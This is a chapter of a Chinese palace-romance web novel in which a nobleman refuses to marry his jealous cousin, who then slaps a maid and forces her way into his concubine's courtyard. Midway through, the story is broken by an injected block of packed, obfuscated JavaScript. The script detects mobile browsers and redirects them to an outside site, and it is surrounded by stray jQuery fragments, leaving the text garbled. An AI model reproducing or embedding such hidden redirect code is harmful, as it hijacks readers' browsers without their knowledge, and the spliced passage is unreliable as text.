21. 第二十一章

作品:《被世子强取豪夺后

    敦亲王妃见状,缓缓开口,打破了这短暂的尴尬:“敬舟,你可算回来了。这几日舟车劳顿,一路辛苦,快坐下歇歇。”


    顾惊澜淡淡一笑道:“多谢母亲关心,一切都好。”


    他按下了遇刺一事,他不想太多人知晓此事。


    敦亲王妃点了点头,端起茶盏抿了一口,缓缓开口道:“其实今日喊你过来,一来是让你看看娇儿,你们二人许久未见,也该叙叙旧;二来,是有件重要的事想与你商议。”


    顾惊澜走到下首坐下,身姿挺拔,淡淡颔首:“母亲请说。”


    敦亲王妃看向陆映娇,眼底带着温和的笑意,缓缓道:“你今年也二十有余了,早已到了婚配的年纪,我与你父亲也为你操心许久。我与你父亲想着你与娇儿情谊深厚,便想择个良辰吉日,向陆家提亲,让你二人成婚。”


    陆映娇闻言,脸颊瞬间染上一层绯红,像熟透的樱桃。她羞涩地垂下头,手指轻轻绞着裙摆,心头满是雀跃与期待。她偷偷抬眼瞥了顾惊澜一眼,眼底藏着少女的娇羞,满心都在等着他的应允。


    可顾惊澜闻言,眼神里没有半分波澜,反倒愈发冷漠,薄唇轻启,语气平淡:“母亲,儿子目前暂时没有娶妻的打算。”


    这话一出,厅内的空气瞬间凝固。


    陆映娇脸上的绯红瞬间褪去,脸色一白,难以置信地抬头看向顾惊澜。


    “表哥……你说什么?”


    顾惊澜没有再重复,只是淡淡垂眸,周身透着生人勿近的气息,摆明了不愿再多谈。


    这份疏离彻底点燃了陆映娇心底的怒火。她再也绷不住那副娇俏模样,猛地站起身,眼眶瞬间通红,语气里满是质问与怨怼:“表哥,你为什么不想娶我?那你心里到底想娶谁?难道是那个从太尉府出来的下.贱的通房吗?”


    她咬着牙,全然不顾及大家闺秀的体面。顾惊澜本就因议亲之事心绪不佳,听闻这话,眉头瞬间拧成一个川字,眼底翻涌着明显的厌烦。


    果然如他所料,陆映娇这性子还真是这般糟糕,稍不顺心便口无遮拦、撒泼打滚。他尚且没有过多辩解,她便上赶着发脾气。


    “表妹注意言辞,别失了体面。”


    “我失了体面?”陆映娇被他噎得一怔,随即怒火更盛,气到跺脚,“表哥,你就向着那个通房吧!为了她,你不肯娶我,还反过来凶我!你根本就不在乎我的感受!”


    她越说越激动,终于忍不住落下泪来,一边抹着眼泪,一边抽噎着抱怨,全然不顾敦亲王妃在旁示意她安分。


    顾惊澜见状勾起一抹玩味的笑意,挑眉对着敦亲王妃道:“母亲不是素来最喜欢大家闺秀么?”


    听着顾惊澜明晃晃的讽刺,敦亲王妃也是一时语塞。


    顾惊澜看着眼前混乱的场面,只觉得不耐至极,半点不想再费口舌纠缠。他站起身,对着敦亲王妃微微躬身,语气冷淡:“母亲,此事容后再议,儿子还有要务处理,先告退了。”


    不等敦亲王妃回应,他便转身快步走出正厅,将身后的哭闹声隔绝在外。刚踏入廊下,墨白便悄无声息地从阴影中走出,垂首躬身禀报:“世子爷,属下查到了,上回宜州途中的刺客,来头并不简单。”


    顾惊澜闻言,脚步未停,神色依旧沉稳,眼底没有半分意外,仿佛早已料到答案。他淡淡颔首:“知道了。”语气平静,听不出喜怒。


    “备车,我要出府一趟。”顾惊澜吩咐道。


    墨白刚应下,他便又想起一事,停下脚步,转头叮嘱道:“我出府期间,你留在府中,好生盯着陆表妹,若是有什么事情即刻来报。”


    墨白躬身领命:“属下明白。”


    -


    而正厅内,陆映娇哭了半晌,见顾惊澜竟真的弃她而去,心底的委屈尽数翻转为怨怒,所有火气都一股脑儿算在了兰漪头上。


    她猛地抹掉眼泪,眼神凶狠,咬牙道:“姨母,你看看表哥被那贱.人迷成什么样子了?”


    敦亲王妃无奈地叹了口气,抬手揉了揉眉心:“我也说了,敬舟无非是觉得新鲜。你又何必闹的这般难堪。”


    陆映娇咬了咬唇,随便扯了个由头,草草对着敦亲王妃一拜,便转身快步往外走。


    刚踏出正厅的门槛,她便停下脚步,厉声唤道:“玉珠!”


    名唤玉珠的侍女躬身上前,语气恭敬道:“小姐有何吩咐。”


    “那个通房住哪?带我过去。我今儿非要撕烂她那张狐媚子脸不可!”她说着便快步往外冲。


    玉珠闻言有些担忧。好歹是世子爷护着的人,况且又是从太尉府出来的姑娘。她也听说过那姑娘出身不高,生母不过是个下人,可总归是太尉的血脉。


    想到这里玉珠便试探着劝慰道:“小姐息怒。这事若是被世子爷知晓了,怕是会惹他不快。”


    话音刚落,“啪”的一声脆响便在廊下响起。


    陆映娇怒极反笑,扬手便给了玉珠一个响亮的耳光,力道之大,让玉珠白净的脸颊瞬间浮现出清晰的五指印。火辣辣的疼痛感顺着脸颊蔓延至头顶,玉珠被打得偏过头,脑袋嗡嗡发胀,下意识地捂着脸。


    “你算个什么东西,也劝起我来了?一个通房而已我打了便打了,哪怕我杀了她表哥又能奈我何?”


    骂完,她也不再看捂着脸垂泪的玉珠,转头一把拽住身边路过的一个小厮,力道之大险些将人拽得一个趔趄。


    她呵斥道:“那个通房住在哪?现在带我过去。谁敢拦我,我就禀明姨母,卸了你们的差事!”


    那小厮被她凶神恶煞的模样吓得浑身发颤,又碍于她的身份不敢反抗,只能战战兢兢地低着头,支支吾吾地应着,被陆映娇拖拽着,朝着静姝院的方向而去。


    一路拖拽着小厮疾行,不多时便到了静姝院外。


    院门两侧翠竹掩映,院内静悄悄的,透着几分清幽,是兰漪居住的地方。


    陆映娇抬眼望去,却见一道玄色身影立在院门口,身姿挺拔如松,是墨白。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17350403|198191||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    墨白见她前来,神色未变,依旧垂首立在原地,却不动声色地挡在了门前。


    陆映娇见状,冷哼一声,抬手甩开被拽得踉跄的小厮,提着裙摆便要往院里闯,语气蛮横又嚣张。


    “让开!”


    墨白身形微侧,稳稳拦住了她的去路,语气平静:“陆小姐,止步。”


    “你敢拦我?”


    陆映娇像是被踩了尾巴的猫,瞬间拔高了声音:“一个奴才也敢管我的事?我劝你识相点,赶紧让开,不然我连你一起打!”


    墨白面色不改,垂眸颔首,语气依旧平淡:“属下不敢对陆小姐无礼,只是世子爷有令,不许任何人擅闯静姝院。陆小姐身为外客,贸然插手世子爷后院之事,怕是逾矩了。”


    “逾矩?”这两个字像一把火,瞬间点燃了陆映娇心底积压的所有怒火。


    她攥紧双拳,指甲深深嵌进掌心。


    自幼时起,母亲便一遍遍告诉她,她是要嫁给表哥顾惊澜的,是未来的世子妃。


    她也一直抱着这份期盼长大,满心满眼都是成为他的妻,打理他的后宅,陪在他身边。


    这些年,她看着他不近女色,便以为这份婚约是板上钉钉,却没料到,一个出身低微的通房,竟猝不及防地插足进来,夺走了表哥所有的关注与偏爱。


    在她眼里,兰漪不过是个鸠占鹊巢的贱.人,凭什么拦她?


    “我偏要闯!”陆映娇厉声喝道,全然不顾及仪态,猛地推开墨白。


    墨白虽奉命,却碍于她是陆家小姐,不敢真的对她动手。见状只得快快去禀报顾惊澜。


    此时院内正静悄悄的,兰漪正坐在窗边临帖,神色淡然。


    院门口的争执与拖拽声虽不算刺耳,却也打破了这份宁静。


    她刚停下笔,便见清荷脸色慌张地快步从外面跑进来,语气急促地禀报道:“姑娘!不好了!陆家的那位娇小姐闯进来了!她怒气冲冲的,像是要来寻您的麻烦!”


    话刚说完,便听得院门口传来一阵急促的脚步声,紧接着,陆映娇便怒气冲冲地撞开房门冲了进来,眼底满是戾气。


    可当她的目光落在窗边端坐的兰漪身上时,那股滔天怒火像是被瞬间浇了一盆冷水,戛然而止。


    陆映娇僵在原地,脚步顿住,眼底的戾气渐渐被惊愕取代,一时竟忘了自己闯进来的目的。


    陆映娇似乎明白了表哥为什么会如此宠爱她。


    兰漪正临窗而坐,一身淡蓝色素绫襦裙,未施粉黛,却难掩周身清绝气质。


    抬眸时顾盼生辉,眼波流转间似含着一汪春水,低眉时睫毛轻垂,宛若含露梨花。


    顾盼遗光彩,长啸气若兰。


    陆映娇下意识攥紧了掌心,指甲深深嵌进皮肉里,尖锐的痛感才让她勉强回过神。


    兰漪缓缓放下手中的毛笔,抬眸看向她,眼底平静无波。


    随即,她起身行了一礼,姿态恭顺。


    “见过陆小姐。”